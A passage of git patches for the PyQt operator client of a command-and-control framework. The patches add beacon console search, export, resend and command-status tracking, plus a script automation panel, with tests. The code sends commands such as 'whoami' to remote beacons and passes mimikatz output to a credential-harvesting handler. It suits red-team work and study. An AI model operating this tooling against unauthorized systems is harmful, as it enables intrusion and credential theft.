qtbot.addWidget(sessions) + + sessions.printSessions() + + assert sessions.listSession.horizontalHeaderItem(10).text() == "State" + assert sessions.listSession.item(0, 6).text() == "Windows" + assert sessions.listSession.item(0, 6).toolTip() == full_os + assert sessions.listSession.item(0, 9).text() == "now" + assert sessions.listSession.item(0, 10).text() == SESSION_STATE_ALIVE + assert sessions.listSession.item(0, 10).toolTip().startswith("Last seen now.") From d9f6d1eb6dea1aa0c4aac43c0b555a01f3897621 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 19:29:40 +0200 Subject: [PATCH 10/82] feat(client): improve beacon console controls --- C2Client/C2Client/ConsolePanel.py | 280 +++++++++++++++++++++------ C2Client/TODO.md | 2 +- C2Client/tests/test_console_panel.py | 71 +++++++ 3 files changed, 297 insertions(+), 56 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 94a0b64..270c245 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -8,7 +8,7 @@ from threading import Thread, Lock from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal, pyqtSlot -from PyQt6.QtGui import QFont, QStandardItem, QStandardItemModel, QTextCursor, QShortcut +from PyQt6.QtGui import QFont, QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, QTabWidget, @@ -17,6 +17,9 @@ QTextEdit, QLineEdit, QCompleter, + QCheckBox, + QLabel, + QPushButton, QTableWidget, QTableWidgetItem, ) @@ -514,6 +517,43 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.hostname=hostname.replace("\\", "_").replace(" ", "_") self.username=username.replace("\\", "_").replace(" ", "_") self.logFileName=self.hostname+"_"+self.username+"_"+self.beaconHash+".log" + self.lastCommandLine = "" + self.commandStatusById = {} + + self.searchInput = QLineEdit() + self.searchInput.setPlaceholderText("Search output") + self.searchInput.returnPressed.connect(self.findNextSearchMatch) + + self.findPreviousButton = QPushButton("Prev") + self.findPreviousButton.clicked.connect( + lambda _checked=False: self.findNextSearchMatch(backward=True) + ) + self.findNextButton = QPushButton("Next") + self.findNextButton.clicked.connect( + lambda _checked=False: self.findNextSearchMatch() + ) + self.clearOutputButton = QPushButton("Clear") + self.clearOutputButton.clicked.connect(self.clearConsoleOutput) + self.exportLogButton = QPushButton("Export") + self.exportLogButton.clicked.connect(self.exportConsoleOutput) + self.resendButton = QPushButton("Resend") + self.resendButton.clicked.connect(self.resendLastCommand) + self.pauseAutoscrollCheckBox = QCheckBox("Pause scroll") + self.pauseAutoscrollCheckBox.toggled.connect(self.onAutoscrollToggled) + self.consoleNoticeLabel = QLabel("") + self.consoleNoticeLabel.setMinimumWidth(180) + self.consoleNoticeLabel.setAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + + toolbarLayout = QHBoxLayout() + toolbarLayout.addWidget(self.searchInput, 3) + toolbarLayout.addWidget(self.findPreviousButton) + toolbarLayout.addWidget(self.findNextButton) + toolbarLayout.addWidget(self.clearOutputButton) + toolbarLayout.addWidget(self.exportLogButton) + toolbarLayout.addWidget(self.resendButton) + toolbarLayout.addWidget(self.pauseAutoscrollCheckBox) + toolbarLayout.addWidget(self.consoleNoticeLabel, 2) + self.layout.addLayout(toolbarLayout) self.editorOutput = QTextEdit() self.editorOutput.setReadOnly(True) @@ -552,6 +592,113 @@ def event(self, event): return True return super().event(event) + def setConsoleNotice(self, message, is_error=False): + self.consoleNoticeLabel.setText(message) + color = "#b42318" if is_error else "#344054" + self.consoleNoticeLabel.setStyleSheet(f"color: {color};") + + def findNextSearchMatch(self, backward=False): + search_text = self.searchInput.text().strip() + if search_text == "": + self.setConsoleNotice("Search term required.", True) + return False + + original_cursor = self.editorOutput.textCursor() + flags = QTextDocument.FindFlag.FindBackward if backward else QTextDocument.FindFlag(0) + if self.editorOutput.find(search_text, flags): + self.setConsoleNotice("Match found.") + return True + + cursor = self.editorOutput.textCursor() + if backward: + cursor.movePosition(QTextCursor.MoveOperation.End) + else: + cursor.movePosition(QTextCursor.MoveOperation.Start) + self.editorOutput.setTextCursor(cursor) + + if self.editorOutput.find(search_text, flags): + self.setConsoleNotice("Search wrapped.") + return True + + self.editorOutput.setTextCursor(original_cursor) + self.setConsoleNotice("No match.", True) + return False + + def clearConsoleOutput(self): + self.editorOutput.clear() + self.setConsoleNotice("Output cleared.") + + def exportConsoleOutput(self): + os.makedirs(logsDir, exist_ok=True) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + base_name = os.path.splitext(self.logFileName)[0] + output_path = os.path.join(logsDir, f"{base_name}_console_{timestamp}.log") + with open(output_path, "w", encoding="utf-8") as exportFile: + exportFile.write(self.editorOutput.toPlainText().rstrip()) + exportFile.write("\n") + self.setConsoleNotice("Exported " + os.path.basename(output_path)) + return output_path + + def onAutoscrollToggled(self, checked): + if checked: + self.setConsoleNotice("Autoscroll paused.") + return + self.setConsoleNotice("Autoscroll enabled.") + self.setCursorEditorAtEnd(force=True) + + def isAutoscrollPaused(self): + return self.pauseAutoscrollCheckBox.isChecked() + + def _shortCommandId(self, command_id): + return (command_id or "unknown")[:8] + + def _shortText(self, text, limit=90): + text = " ".join(str(text or "").split()) + if len(text) <= limit: + return text + return text[:limit - 3] + "..." + + def setCommandStatus(self, command_id, status, command_line="", message=""): + if not command_id: + return + self.commandStatusById[command_id] = { + "status": status, + "command": command_line, + "message": message, + "updated_at": time.time(), + } + + detail = self._shortText(command_line or message) + notice = f"{status} {self._shortCommandId(command_id)}" + if detail: + notice += f" - {detail}" + self.setConsoleNotice(notice, status == "error") + + def printCommandStatusInTerminal(self, command_id, status, message=""): + if not command_id: + return + now = datetime.now() + colors = { + "queued": "#b54708", + "done": "#067647", + "error": "#b42318", + } + color = colors.get(status, "#344054") + status_text = html.escape(status) + command_id_text = html.escape(self._shortCommandId(command_id)) + message_text = html.escape(self._shortText(message, 140)) + terminal_line = ( + '

' + f'[{now.strftime("%Y:%m:%d %H:%M:%S").rstrip()}]' + f' [{status_text}]' + f' {command_id_text}' + ) + if message_text: + terminal_line += f' {message_text}' + terminal_line += "

" + self.editorOutput.insertHtml(terminal_line) + self.editorOutput.insertPlainText("\n") + def printInTerminal(self, cmdSent, cmdReived, result): now = datetime.now() sendFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [>>] '+'{}'+'

' @@ -582,68 +729,85 @@ def printInTerminal(self, cmdSent, cmdReived, result): self.editorOutput.insertHtml("
") self.editorOutput.insertPlainText("\n") + def resendLastCommand(self): + if self.lastCommandLine == "": + self.setConsoleNotice("No command to resend.", True) + return + self.executeCommand(self.lastCommandLine) + def runCommand(self): commandLine = self.commandEditor.displayText() self.commandEditor.clearLine() + self.executeCommand(commandLine) + + def executeCommand(self, commandLine): self.setCursorEditorAtEnd() if commandLine == "": self.printInTerminal("", "", "") + self.setCursorEditorAtEnd() + return - else: - with open(CmdHistoryFileName, 'a') as cmdHistoryFile: - cmdHistoryFile.write(commandLine) - cmdHistoryFile.write('\n') + self.lastCommandLine = commandLine + + with open(CmdHistoryFileName, 'a') as cmdHistoryFile: + cmdHistoryFile.write(commandLine) + cmdHistoryFile.write('\n') + + with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: + logFile.write('[+] send: \"' + commandLine + '\"') + logFile.write('\n') + + self.commandEditor.setCmdHistory() + instructions = commandLine.split() + if instructions[0]==HelpInstruction: + command = TeamServerApi_pb2.CommandHelpRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ), + command=commandLine, + ) + response = self.grpcClient.getCommandHelp(command) + command_text = getattr(response, "command", commandLine) or commandLine + self.printInTerminal(command_text, "", "") + if is_response_ok(response): + self.printInTerminal("", command_text, response.help) + else: + self.printInTerminal("", command_text, response_message(response, "No help available.")) + self.setCursorEditorAtEnd() + return + self.printInTerminal(commandLine, "", "") + command_id = uuid.uuid4().hex + command = TeamServerApi_pb2.SessionCommandRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ), + command=commandLine, + command_id=command_id, + ) + result = self.grpcClient.sendSessionCommand(command) + command_id = getattr(result, "command_id", command_id) or command_id + if not is_response_ok(result): + message = response_message(result, "Command was rejected by TeamServer.") + self.setCommandStatus(command_id, "error", commandLine, message) + self.printCommandStatusInTerminal(command_id, "error", message) + self.printInTerminal("", commandLine, message) with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] send: \"' + commandLine + '\"') - logFile.write('\n') - - self.commandEditor.setCmdHistory() - instructions = commandLine.split() - if instructions[0]==HelpInstruction: - command = TeamServerApi_pb2.CommandHelpRequest( - session=TeamServerApi_pb2.SessionSelector( - beacon_hash=self.beaconHash, - listener_hash=self.listenerHash, - ), - command=commandLine, - ) - response = self.grpcClient.getCommandHelp(command) - command_text = getattr(response, "command", commandLine) or commandLine - self.printInTerminal(command_text, "", "") - if is_response_ok(response): - self.printInTerminal("", command_text, response.help) - else: - self.printInTerminal("", command_text, response_message(response, "No help available.")) + logFile.write('[+] rejected: \"' + commandLine + '\"') + logFile.write('\n' + message + '\n') + self.setCursorEditorAtEnd() + return - else: - self.printInTerminal(commandLine, "", "") - command_id = uuid.uuid4().hex - command = TeamServerApi_pb2.SessionCommandRequest( - session=TeamServerApi_pb2.SessionSelector( - beacon_hash=self.beaconHash, - listener_hash=self.listenerHash, - ), - command=commandLine, - command_id=command_id, - ) - result = self.grpcClient.sendSessionCommand(command) - command_id = getattr(result, "command_id", command_id) or command_id - if not is_response_ok(result): - message = response_message(result, "Command was rejected by TeamServer.") - self.printInTerminal("", commandLine, message) - with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] rejected: \"' + commandLine + '\"') - logFile.write('\n' + message + '\n') - self.setCursorEditorAtEnd() - return - - context = "Host " + self.hostname + " - Username " + self.username - self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "", command_id) - ack_message = response_message(result) - if ack_message: - self.printInTerminal("", commandLine, ack_message) + self.setCommandStatus(command_id, "queued", commandLine) + self.printCommandStatusInTerminal(command_id, "queued", commandLine) + context = "Host " + self.hostname + " - Username " + self.username + self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "", command_id) + ack_message = response_message(result) + if ack_message: + self.printInTerminal("", commandLine, ack_message) self.setCursorEditorAtEnd() @@ -656,14 +820,18 @@ def displayResponse(self): listener_hash = response.session.listener_hash or self.listenerHash command_text = response.command or response.instruction decoded_response = response.output.decode('utf-8', 'replace') - if not is_response_ok(response): + response_ok = is_response_ok(response) + if not response_ok: decoded_response = response_message(response) or decoded_response or "Command failed." self.consoleScriptSignal.emit("receive", self.beaconHash, listener_hash, context, command_text, decoded_response, command_id) - self.setCursorEditorAtEnd() # check the response for mimikatz and not the cmd line ??? if "-e mimikatz.exe" in command_text: credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) self.printInTerminal("", command_text, decoded_response) + status = "done" if response_ok else "error" + status_detail = command_text if response_ok else decoded_response + self.setCommandStatus(command_id, status, command_text, decoded_response if not response_ok else "") + self.printCommandStatusInTerminal(command_id, status, status_detail) self.setCursorEditorAtEnd() with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: @@ -671,7 +839,9 @@ def displayResponse(self): logFile.write('\n' + decoded_response + '\n') logFile.write('\n') - def setCursorEditorAtEnd(self): + def setCursorEditorAtEnd(self, force=False): + if not force and self.isAutoscrollPaused(): + return cursor = self.editorOutput.textCursor() cursor.movePosition(QTextCursor.MoveOperation.End) self.editorOutput.setTextCursor(cursor) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index c9c785f..7e6706f 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -16,7 +16,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 8 | [x] | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | | 9 | [ ] | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | | 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | -| 11 | [ ] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | +| 11 | [x] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | | 12 | [ ] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | | 13 | [ ] | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index b733bf9..0f91d8c 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -16,11 +16,13 @@ class StubGrpc: def __init__(self): self.reject_commands = False self.responses = [] + self.sent_commands = [] def getCommandHelp(self, command): return SimpleNamespace(status=TeamServerApi_pb2.OK, command=command.command, help="help", message="") def sendSessionCommand(self, command): + self.sent_commands.append(command) if self.reject_commands: return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Session not found.", command_id=command.command_id) return SimpleNamespace(status=TeamServerApi_pb2.OK, message="", command_id=command.command_id) @@ -67,6 +69,8 @@ def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, mo assert emitted == [] assert "Session not found." in console.editorOutput.toPlainText() + command_id = grpc.sent_commands[0].command_id + assert console.commandStatusById[command_id]["status"] == "error" assert 'rejected: "whoami"' in (tmp_path / 'host_user_beacon.log').read_text() @@ -98,4 +102,71 @@ def test_command_result_error_uses_message_for_display(tmp_path, qtbot, monkeypa assert "Command failed." in console.editorOutput.toPlainText() assert "raw failure" not in console.editorOutput.toPlainText() + assert console.commandStatusById["cmd-1"]["status"] == "error" assert emitted[0][-2] == "Command failed." + + +def test_console_tracks_command_status_and_resend(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.commandEditor.setText('whoami') + console.runCommand() + + first_command_id = grpc.sent_commands[0].command_id + assert console.lastCommandLine == 'whoami' + assert console.commandStatusById[first_command_id]["status"] == "queued" + assert "[queued]" in console.editorOutput.toPlainText() + + console.resendLastCommand() + + assert len(grpc.sent_commands) == 2 + assert grpc.sent_commands[1].command == 'whoami' + + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id=first_command_id, + output=b"user", + message="", + ) + ] + + console.displayResponse() + + assert console.commandStatusById[first_command_id]["status"] == "done" + assert "[done]" in console.editorOutput.toPlainText() + + +def test_console_search_clear_and_export_controls(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + parent = QWidget() + console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.printInTerminal("whoami", "", "") + console.printInTerminal("", "whoami", "needle output") + + console.searchInput.setText("needle") + assert console.findNextSearchMatch() is True + assert console.consoleNoticeLabel.text() in {"Match found.", "Search wrapped."} + + export_path = console.exportConsoleOutput() + assert os.path.exists(export_path) + with open(export_path, encoding="utf-8") as exportFile: + assert "needle output" in exportFile.read() + + console.clearConsoleOutput() + assert console.editorOutput.toPlainText() == "" From 367c1646e167b9357447d89d7a830ed14e538e09 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 20:54:57 +0200 Subject: [PATCH 11/82] feat(client): turn script panel into automation hub --- C2Client/C2Client/GUI.py | 8 + C2Client/C2Client/ListenerPanel.py | 15 + C2Client/C2Client/ScriptPanel.py | 489 ++++++++++++++++-- C2Client/C2Client/Scripts/listDirectory.py | 28 - .../C2Client/Scripts/loadCommonModules.py | 36 ++ C2Client/C2Client/Scripts/template.py.example | 10 +- C2Client/C2Client/SessionPanel.py | 42 ++ C2Client/TODO.md | 2 +- C2Client/tests/test_gui_startup.py | 24 +- C2Client/tests/test_listener_panel.py | 22 + C2Client/tests/test_script_panel.py | 230 +++++++- C2Client/tests/test_session_panel.py | 50 ++ 12 files changed, 865 insertions(+), 91 deletions(-) delete mode 100644 C2Client/C2Client/Scripts/listDirectory.py create mode 100644 C2Client/C2Client/Scripts/loadCommonModules.py diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 33e863d..08eadb7 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -172,6 +172,14 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole) + if hasattr(self.consoleWidget.script, "setClientStateProvider"): + self.consoleWidget.script.setClientStateProvider( + lambda: { + "sessions": self.sessionsWidget.scriptSnapshot(), + "listeners": self.listenersWidget.scriptSnapshot(), + } + ) + self.consoleWidget.script.mainScriptMethod("start", "", "", "") def setupStatusBar(self) -> None: diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index e81d245..40ef310 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -256,6 +256,21 @@ def selectedListener(self): return None return self.listListenerObject[row] + def scriptSnapshot(self): + snapshots = [] + for listenerStore in self.listListenerObject: + snapshots.append( + { + "id": listenerStore.id, + "listener_hash": _text(listenerStore.listenerHash), + "type": _text(listenerStore.type), + "host": _text(listenerStore.host), + "port": listenerStore.port, + "session_count": listenerStore.nbSession, + } + ) + return snapshots + def stopSelectedListener(self): listenerStore = self.selectedListener() if listenerStore is None: diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 528ab64..61de29c 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -2,6 +2,7 @@ import os import logging import importlib +import inspect from pathlib import Path from datetime import datetime @@ -10,9 +11,17 @@ from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut from PyQt6.QtWidgets import ( + QAbstractItemView, QCompleter, + QComboBox, + QHBoxLayout, + QHeaderView, + QLabel, QLineEdit, QPlainTextEdit, + QPushButton, + QTableWidget, + QTableWidgetItem, QVBoxLayout, QWidget, ) @@ -45,6 +54,67 @@ package_name = "C2Client.Scripts" +HOOK_ORDER = [ + "ManualStart", + "OnStart", + "OnStop", + "OnListenerStart", + "OnListenerStop", + "OnSessionStart", + "OnSessionUpdate", + "OnSessionStop", + "OnConsoleSend", + "OnConsoleReceive", +] + +HOOK_TRIGGER_NOTES = { + "ManualStart": "Manual-only hook launched from the Script panel.", + "OnStart": "Client window connected/reconnected to the TeamServer.", + "OnStop": "Client window is closing; this depends on Qt widget teardown.", + "OnListenerStart": "Listener table saw a listener start event.", + "OnListenerStop": "Listener table saw a listener stop event.", + "OnSessionStart": "Session table saw a new beacon.", + "OnSessionUpdate": "Session table saw updated beacon data; this can repeat often during refresh.", + "OnSessionStop": "Session table saw a killed/stopped beacon.", + "OnConsoleSend": "Operator sent a command from a beacon console.", + "OnConsoleReceive": "Beacon console received command output.", +} + +MAIN_HOOKS = { + "start": "OnStart", + "stop": "OnStop", +} +LISTENER_HOOKS = { + "start": "OnListenerStart", + "stop": "OnListenerStop", +} +SESSION_HOOKS = { + "start": "OnSessionStart", + "stop": "OnSessionStop", + "update": "OnSessionUpdate", +} +CONSOLE_HOOKS = { + "send": "OnConsoleSend", + "receive": "OnConsoleReceive", +} + +MANUAL_HOOKS_WITHOUT_CONTEXT = { + "ManualStart", + "OnStart", + "OnStop", + "OnListenerStart", + "OnListenerStop", +} + +SCRIPT_NAME_ROLE = Qt.ItemDataRole.UserRole + +COL_ENABLED = 0 +COL_SCRIPT = 1 +COL_HOOKS = 2 +COL_LAST_RUN = 3 +COL_ACTIVATIONS = 4 +COL_ERRORS = 5 + # ---------------------------- # Load all scripts as modules # ---------------------------- @@ -81,24 +151,55 @@ def __init__(self, parent, grpcClient): self.layout.setContentsMargins(0, 0, 0, 0) self.grpcClient = grpcClient + self.scriptStates = {} + self.tableItemsByScript = {} + self.lastHookContexts = {} + self.clientStateProvider = self.emptyClientState + self._tableUpdating = False # self.logFileName=LogFileName + self.automationTable = QTableWidget() + self.automationTable.setColumnCount(6) + self.automationTable.setHorizontalHeaderLabels( + ["Active", "Script", "Hooks", "Last run", "Runs", "Errors"] + ) + self.automationTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.automationTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.automationTable.setAlternatingRowColors(True) + self.automationTable.verticalHeader().setVisible(False) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ENABLED, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_SCRIPT, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_HOOKS, QHeaderView.ResizeMode.Stretch) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_LAST_RUN, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ACTIVATIONS, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ERRORS, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.itemChanged.connect(self.onAutomationItemChanged) + self.automationTable.itemSelectionChanged.connect(self.updateManualHookSelector) + self.layout.addWidget(self.automationTable, 4) + + manualLayout = QHBoxLayout() + self.manualHookSelector = QComboBox() + self.manualHookSelector.setMinimumWidth(220) + self.runHookButton = QPushButton("Run Hook") + self.runHookButton.clicked.connect(self.runSelectedHook) + manualLayout.addWidget(QLabel("Manual action:")) + manualLayout.addWidget(self.manualHookSelector, 1) + manualLayout.addWidget(self.runHookButton) + self.layout.addLayout(manualLayout) + self.editorOutput = QPlainTextEdit() self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) self.editorOutput.setReadOnly(True) - self.layout.addWidget(self.editorOutput, 8) + self.layout.addWidget(self.editorOutput, 5) self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) - output = "" - for script in LoadedScripts: - output += script.__name__ + "\n" - self.printInTerminal("Loaded Scripts:", output) - if FailedScripts: - self.printInTerminal("Script load errors:", "\n".join(FailedScripts)) + self.buildAutomationStates() + self.refreshAutomationTable() + self.printLoadedAutomationSummary() def nextCompletion(self): @@ -110,78 +211,310 @@ def nextCompletion(self): def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): - hooks = { - "start": "OnSessionStart", - "stop": "OnSessionStop", - "update": "OnSessionUpdate", - } - hookName = hooks.get(action) + hookName = SESSION_HOOKS.get(action) if not hookName: return - for script in LoadedScripts: - self.runScriptHook( - script, - hookName, - hookName, - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, - ) + self.dispatchHook( + hookName, + HOOK_TRIGGER_NOTES[hookName], + beaconHash, + listenerHash, + hostname, + username, + arch, + privilege, + os, + lastProofOfLife, + killed, + ) def listenerScriptMethod(self, action, hash, str3, str4): - hooks = { - "start": "OnListenerStart", - "stop": "OnListenerStop", - } - hookName = hooks.get(action) + hookName = LISTENER_HOOKS.get(action) if not hookName: return - for script in LoadedScripts: - self.runScriptHook(script, hookName, hookName) + self.dispatchHook(hookName, HOOK_TRIGGER_NOTES[hookName], hash, str3, str4) def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): - hooks = { - "receive": "OnConsoleReceive", - "send": "OnConsoleSend", - } - hookName = hooks.get(action) + hookName = CONSOLE_HOOKS.get(action) if not hookName: return - for script in LoadedScripts: - self.runScriptHook(script, hookName, hookName) + self.dispatchHook( + hookName, + HOOK_TRIGGER_NOTES[hookName], + beaconHash, + listenerHash, + context, + cmd, + result, + commandId, + ) def mainScriptMethod(self, action, str2, str3, str4): - hooks = { - "start": "OnStart", - "stop": "OnStop", - } - hookName = hooks.get(action) + hookName = MAIN_HOOKS.get(action) if not hookName: return + self.dispatchHook(hookName, HOOK_TRIGGER_NOTES[hookName]) + + def setClientStateProvider(self, provider): + self.clientStateProvider = provider or self.emptyClientState + + def emptyClientState(self): + return {"sessions": [], "listeners": []} + + def clientStateSnapshot(self): + try: + snapshot = self.clientStateProvider() + except Exception as exc: + logger.warning( + "Failed to build script client state snapshot: %s", + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) + self.printInTerminal("Manual context error:", str(exc)) + return {"sessions": [], "listeners": [], "error": str(exc)} + + if not isinstance(snapshot, dict): + return {"sessions": [], "listeners": []} + + return { + "sessions": self.copySnapshotItems(snapshot.get("sessions", [])), + "listeners": self.copySnapshotItems(snapshot.get("listeners", [])), + } + + def copySnapshotItems(self, items): + copied = [] + for item in items or []: + if isinstance(item, dict): + copied.append(dict(item)) + return copied + + def buildAutomationStates(self): + self.scriptStates = {} for script in LoadedScripts: - self.runScriptHook(script, hookName, hookName) + scriptName = self.scriptName(script) + hooks = self.scriptHooks(script) + self.scriptStates[scriptName] = { + "script": script, + "enabled": True, + "hooks": hooks, + "last_run": "Never", + "activations": 0, + "errors": 0, + "last_error": "", + "load_error": "", + } + + for failure in FailedScripts: + scriptName, error = self.parseFailedScript(failure) + self.scriptStates[scriptName] = { + "script": None, + "enabled": False, + "hooks": [], + "last_run": "Never", + "activations": 0, + "errors": 1, + "last_error": error, + "load_error": error, + } + + def refreshAutomationTable(self): + self._tableUpdating = True + self.tableItemsByScript = {} + scriptNames = sorted(self.scriptStates) + self.automationTable.setRowCount(len(scriptNames)) + + for row, scriptName in enumerate(scriptNames): + state = self.scriptStates[scriptName] + enabledItem = QTableWidgetItem() + enabledItem.setData(SCRIPT_NAME_ROLE, scriptName) + enabledItem.setFlags( + (enabledItem.flags() | Qt.ItemFlag.ItemIsUserCheckable) + & ~Qt.ItemFlag.ItemIsEditable + ) + if state["script"] is None: + enabledItem.setFlags(enabledItem.flags() & ~Qt.ItemFlag.ItemIsEnabled) + enabledItem.setCheckState( + Qt.CheckState.Checked if state["enabled"] else Qt.CheckState.Unchecked + ) + self.automationTable.setItem(row, COL_ENABLED, enabledItem) + self.setTableItem(row, COL_SCRIPT, self.displayScriptName(scriptName), scriptName) + self.setTableItem(row, COL_HOOKS, ", ".join(state["hooks"]) or "-", scriptName) + self.setTableItem(row, COL_LAST_RUN, state["last_run"], scriptName) + self.setTableItem(row, COL_ACTIVATIONS, str(state["activations"]), scriptName) + self.setTableItem(row, COL_ERRORS, str(state["errors"]), scriptName) + self.updateAutomationRowTooltip(row, scriptName) + self.tableItemsByScript[scriptName] = row + + if scriptNames and self.automationTable.currentRow() < 0: + self.automationTable.setCurrentCell(0, COL_SCRIPT) + + self._tableUpdating = False + self.updateManualHookSelector() + + def setTableItem(self, row, column, text, scriptName): + item = QTableWidgetItem(text) + item.setData(SCRIPT_NAME_ROLE, scriptName) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + self.automationTable.setItem(row, column, item) + + def updateAutomationRow(self, scriptName): + row = self.tableItemsByScript.get(scriptName) + if row is None: + return + + state = self.scriptStates[scriptName] + self._tableUpdating = True + enabledItem = self.automationTable.item(row, COL_ENABLED) + if enabledItem is not None: + enabledItem.setCheckState( + Qt.CheckState.Checked if state["enabled"] else Qt.CheckState.Unchecked + ) + self.automationTable.item(row, COL_LAST_RUN).setText(state["last_run"]) + self.automationTable.item(row, COL_ACTIVATIONS).setText(str(state["activations"])) + self.automationTable.item(row, COL_ERRORS).setText(str(state["errors"])) + self.updateAutomationRowTooltip(row, scriptName) + self._tableUpdating = False + + def updateAutomationRowTooltip(self, row, scriptName): + state = self.scriptStates[scriptName] + hookNotes = [] + for hookName in state["hooks"]: + hookNotes.append(f"{hookName}: {HOOK_TRIGGER_NOTES.get(hookName, 'Custom hook.')}") + tooltip = "\n".join(hookNotes) or state["last_error"] or "No hook detected." + if state["last_error"]: + tooltip += "\nLast error: " + state["last_error"] + for column in range(self.automationTable.columnCount()): + item = self.automationTable.item(row, column) + if item is not None: + item.setToolTip(tooltip) + + def onAutomationItemChanged(self, item): + if self._tableUpdating or item.column() != COL_ENABLED: + return + + scriptName = item.data(SCRIPT_NAME_ROLE) + state = 